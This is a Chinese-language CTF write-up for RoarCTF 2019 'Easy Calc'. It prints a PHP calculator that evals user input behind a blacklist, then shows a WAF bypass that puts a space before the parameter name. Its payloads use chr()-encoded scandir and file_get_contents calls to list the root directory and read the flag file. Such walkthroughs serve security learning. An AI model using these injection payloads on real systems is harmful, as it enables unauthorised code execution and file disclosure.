首页 > 其他分享 >[RoarCTF 2019]Easy Calc 1

[RoarCTF 2019]Easy Calc 1

时间:2024-03-13 19:23:18浏览次数:13  
标签:RoarCTF chr num 2019 Easy Calc

[RoarCTF 2019]Easy Calc 1

审题

image-20240303211144278

题目就是一个计算器。

看到源代码有 calc.php

进入看到waf的源代码

知识点

RCE

解题

  1. 审核代码

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
            $str = $_GET['num'];
            $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
            foreach ($blacklist as $blackitem) {
                    if (preg_match('/' . $blackitem . '/m', $str)) {
                            die("what are you want to do?");
                    }
            }
            eval('echo '.$str.';');
    }
    ?> 
    
  2. 由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

  3. 由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

  4. 构造。

    ? num=var_dump(scandir(chr(47)))
    

    scandair可以列出指定路径中的文件目录。

  5. 构造

    ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    

    得到flag

标签:RoarCTF,chr,num,2019,Easy,Calc
From: https://www.cnblogs.com/follycat/p/18050763

相关文章

  • [极客大挑战 2019]PHP 1
    [极客大挑战2019]PHP1审题猜测备份在www.zip中,输入下载文件。知识点反序列化解题查看代码看到index.php中包含了class.php,直接看class.php中的代码查看条件当username=admin,password=100时输出flag构造反序列化输入select中,得到flag。......
  • 文件上传[SUCTF 2019]CheckIn
    文件上传[SUCTF2019]CheckIn打开提交js图片马后台检测文件类型在木马出添加GIF89a绕过显示上传成功的地址uploads/f65a0ca982c669865231909b0ec85a0c上传.user.ini解马关于.user.ini和.htaccess后者有局限性,只能用于apache前者只要能运行php都可用auto_prepend_file......
  • 文件上传例题:[GXYCTF2019]BabyUpload
    文件上传例题:[GXYCTF2019]BabyUpload打开网址明显文件上传上传简单php马尝试后缀名过滤,使用BP抓包进行修改提示文件类型不对,修改成image/jpeg提示还是php,那换成js马<scriptlanguage="php">eval($_POST['cmd']);</script>上传成功解析php代码需要.htaccess文件在文......
  • 201912青少年软件编程(Scratch)等级考试试卷(一级)
    201912青少年软件编程(Scratch)等级考试试卷(一级)第1题:【单选题】关于造型和背景,下面说法不正确的是?A:造型编号从1开始B:有四个背景,删除第二个背景,背景编号为1,3,4C:只有一个背景时,不能删除这个背景D:角色可以有一个或多个造型【正确答案】:B【试题解析】 :第2题:【......
  • 蓝桥杯2019年第十届省赛真题-修改数组
    查重类题目,想到用标记数组记录是否出现过但是最坏情况下可能会从头找到小尾巴,时间复杂度O(n2),数据范围106显然超时再细看下题目,我们重复进行了寻找是否出现过,干脆把每个元素出现过的次数k记录下来,直接跳到后k个位置,实现O(n)#include<stdio.h>#include<string.h>#inclu......
  • PHPSTORM2019--【安装】【永久激活】【常用插件】
    一、【安装】安装前准备工作:1.关闭电脑网络,使其电脑无法联网状态2.hosts文件中添加0.0.0.0account.jetbrains.com0.0.0.0www.jetbrains.com 3.点击phpstorm2019.exe安装,我的安装目录:d:/software/phpstorm2019  二、【激活】1.jetbrains-agent.jar位于压缩包内,拷......
  • [极客大挑战 2019]LoveSQL(杂谈)
    开启环境以后注意到有两个框,方向确定是sql,这样的话先试试万能密码好了:用户名:1'or1=1#密码:#随意输入就好 出来了一串乱码,尝试解码以后发现什么都不是,接下来尝试不断注入:/check.php?username=admin'orderby3%23&password=1存在/check.php?username=admin'order......
  • vs2019单独重新安装python37_64失败解决办法(bilibili上我最早写的是https://www.bilib
    上个周末的时候,我发现用vs2019编写python的时候。代码高亮出现了奇怪的问题,进入解决方案的时候,print还是蓝色的,但是过了几秒钟后就变为黑色了,因此在最开始的时候我试图通过换一个皮肤和在管理扩展里面找扩展来解决,但是还是有相关问题。于是到vs2019对应的python文件夹找问题,目录是......
  • [蓝桥杯 2019 省 B] 后缀表达式
    这题没想到怎么贪心,看题解恍然大明白#include<iostream>#include<stdio.h>#include<algorithm>#include<string>#defineFor(i,j,n)for(inti=j;i<=n;++i)usingnamespacestd;typedeflonglongLL;constintN=2e5+5;LLans;in......
  • [蓝桥杯 2019 省 B] 等差数列
    实际上这道题不需要先排序再求gcd,因为无论是哪两项之前作差,都不会影响最后的gcd的结果。因为公差是从a2-a1开始算的,因此i=1时要特殊处理,不能把a1-0计入贡献,否则会算出错误的gcd。即作差时不要加上a1-0,统计最值时不要漏掉a1#include<iostream>#include<stdio.h>#include<a......